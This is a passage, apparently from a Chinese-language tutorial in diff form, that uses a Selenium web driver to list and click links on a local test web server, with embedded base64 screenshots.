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JwBmoiIiIiI4hoDdHSRBs0KJWt+ZYAeGBhQoVkIgWXLlmHz5s2aAO10OvH555+rdSwWC3bs2AGXy6XWuXPnDiwWi1onKysLt27dirkvvb29mimkDAYDjh49Cp/Ppx6PFnBra2tVf22DwYCdO3ciPz8fubm5ah273a4GOJM3BTZv3gy32z3t9t8EAzQREREREb0T4i1AP3r0aF63r5fNZoPNZou5jtfrjdokWxoZGcHU1NSMXtvhcETsr63H4OCgCsTReDyeafd7Lr0rnykRERERES1y8Rag29raMDw8PK+vQW/P8PBwzCnCiIiIiIiI3pp4C9B9fX148ODBvL4GvT0PHjyI2u+biIiIiIjorYq3AG232/Hw4UM0NzezJvo9Njw8jObmZjx8+BB2u32hd4eIiIiIiCj+ArTP58P4+Dj+/PNP/POf/8S1a9fw66+/srxH5dq1a/jnP/+JP//8E+Pj42oQNCIiIiIiogUVbwFa8vl8cLlccDgcsNvtLO9RcTgccLlcDM5ERERERPRuidcATURERERERDSnGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRYkADNwsLCwsLCwsLCwsLCwvK+FwZoFhYWFhYWFhYWFhYWFhYdhQGahYWFhYWFhYWFhYWFhUVHYYBmYWFhYWFhYWFhYWFhYdFR5iVAExERERERES1SDNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ7/BwDhd1yvd49TAAAAAElFTkSuQmCC
+)
+
+我们可以在Web驱动程序中查询特定类型的所有元素。 例如，查询HTML锚元素（`<a>`），可以为我们提供页面上的所有链接。
+
+```py
+links = gui_driver.find_elements_by_tag_name("a")
+
+```
+
+我们可以查询UI元素的属性-例如，页面上第一个锚点链接到的URL：
+
+```py
+links[0].get_attribute('href')
+
+```
+
+```py
+'http://127.0.0.1:8800/terms'
+
+```
+
+如果单击它会怎样？ 很简单：我们切换到被引用的网页。
+
+```py
+links[0].click()
+
+```
+
+```py
+print_httpd_messages()
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:49] "GET /terms HTTP/1.1" 200 -
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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0KFDljx6zFsSbd682XDe7oOOPiDXs2fPpHny8vKSsv3P48ePpeWb62HG7sNNamoqNm/ejOXLlwuho3elDQaD0t/t27dv3LraucZevXrVkG/16tVxJ+QAUFNTY8mjdyXWu7By1389+rE9XqwETiQSkdZfURSsXbtWum8zP9/Q0CAEst3aenOUZFmAJ/NevrLlH/n5+fj06RNGR0el22rxOnV1dTm6bzMfPnyQjuM5c+bYltnV1WVY+mEeSwAwPDxseafpo7+bvXUURcGHDx8MZSTrfdff3y+1QtfX10NVVTQ1NdkGVdu4cSMCgYAo68SJE9J85m2xZM/b7Xbjhx9+MIwBO08sfVsByXlHyj6WmNc3yz546T/QTMVYJAiCIIikw2aRgA4EAqivr8fOnTulkwaeFi5ciOrqajQ2NjoW07KJVCLp1atX0okkY5plpKSkBN9++61lUsjXg030t+/fv7d1D3a73aiurkYwGMTx48elIpsxbbubgYEBPHz4UBpwhjGG1atXC6tGcXFxwu2Tm5trmLCZ71lft9raWrx+/RoHDx40lJGenm7rKm62Ni1atAidnZ1obm42lJ2dnS1dvxgOh7FhwwZDGTt37kRvb6+l7JUrVxomxY8fP7Ztt2XLluH58+eIRqO4efOm7TMwT7SdMjo6ioaGBhw9elRqyeQpLS0NJ06cQENDgyUA0vv376XWYHPKyckRE32PxyMm8+akKArKysoMrt562trabINQZWVloampCYFAAKdOnZIKE0VRUFFRgWg0itraWqkbOWOadezdu3eWNaCbN2/G48ePcffuXcM5l8uV0DZMMq8PfZ